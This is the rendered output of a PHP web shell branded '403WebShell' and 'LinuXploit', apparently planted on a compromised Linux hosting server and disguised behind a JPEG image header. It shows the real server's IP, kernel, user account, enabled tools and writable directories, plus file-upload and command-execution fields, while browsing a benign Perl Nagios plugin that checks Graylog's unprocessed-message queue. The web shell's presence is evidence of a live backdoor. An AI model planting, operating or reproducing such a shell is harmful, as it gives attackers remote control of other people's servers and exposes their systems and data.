����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.144.162.109
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_graylog_messages
#!/usr/bin/env perl

use strict;
use warnings;

use Carp;
use Encode;
use LWP::UserAgent;
use JSON::XS;
use Getopt::Long;

use utf8;

binmode( STDOUT, ':utf8' );

my (
    $help, $ssl, $user,
    $pass, $host, $port,
    $warn, $crit, $perf
);
GetOptions(
    "h|help"   => \$help,
    's|ssl'    => \$ssl,
    'perf'     => \$perf,
    'H|host=s' => \$host,
    'P|port=s' => \$port,
    'u|user=s' => \$user,
    'p|pass=s' => \$pass,
    'w|warn=i' => \$warn,
    'c|crit=i' => \$crit,
);

$help = 1 if !$host || !$warn || !$crit;
$help = 1 if ( $user && !$pass ) || ($pass && !$user);


if ($help) {
    my $help_text = <<'END';
Usage: %s --ssl --host '127.0.0.1' --port 9000 --user USER --pass PASS -w 10 -c 1000

Check count of unprocessed messages in graylog queue.

END
    printf( $help_text, $0 );
    exit;
}

my $ua = LWP::UserAgent->new(
    timeout           => 10,
    agent             => 'Mozilla/5.0',
    ssl_opts          => { verify_hostname => 1 },
    protocols_allowed => [ 'http', 'https' ]
);

my $schema = $ssl ? 'https' : 'http';
my $auth   = "$user:$pass@" if $user && $pass;
my $url    = "$schema://$auth$host:$port";
my $res    = $ua->get( "$url/api/system/metrics/org.graylog2.journal.entries-uncommitted");

if (!$res->is_success) {
    print 'UNKNOWN:' . $res->status_line . "\n" . $res->content . "\n";
    exit 3;
}

my $data = JSON::XS->new->utf8->decode( $res->decoded_content);
my $msg  = "OK: $data->{value} unprocessed messages";
my $exit = 0;

if ($data->{value} >= $crit) {
    $msg = "CRIT: $data->{value} unprocessed messages";
    $exit = 2;
} elsif ( $data->{value} >= $warn ){
    $msg = "WARN: $data->{value} unprocessed messages";
    $exit = 1;
}

print $msg;
print "|graylog_messages=$data->{value};$warn;$crit;0;0;" if $perf;
print "\n";
exit $exit;

Youez - 2016 - github.com/yon3zu
LinuXploit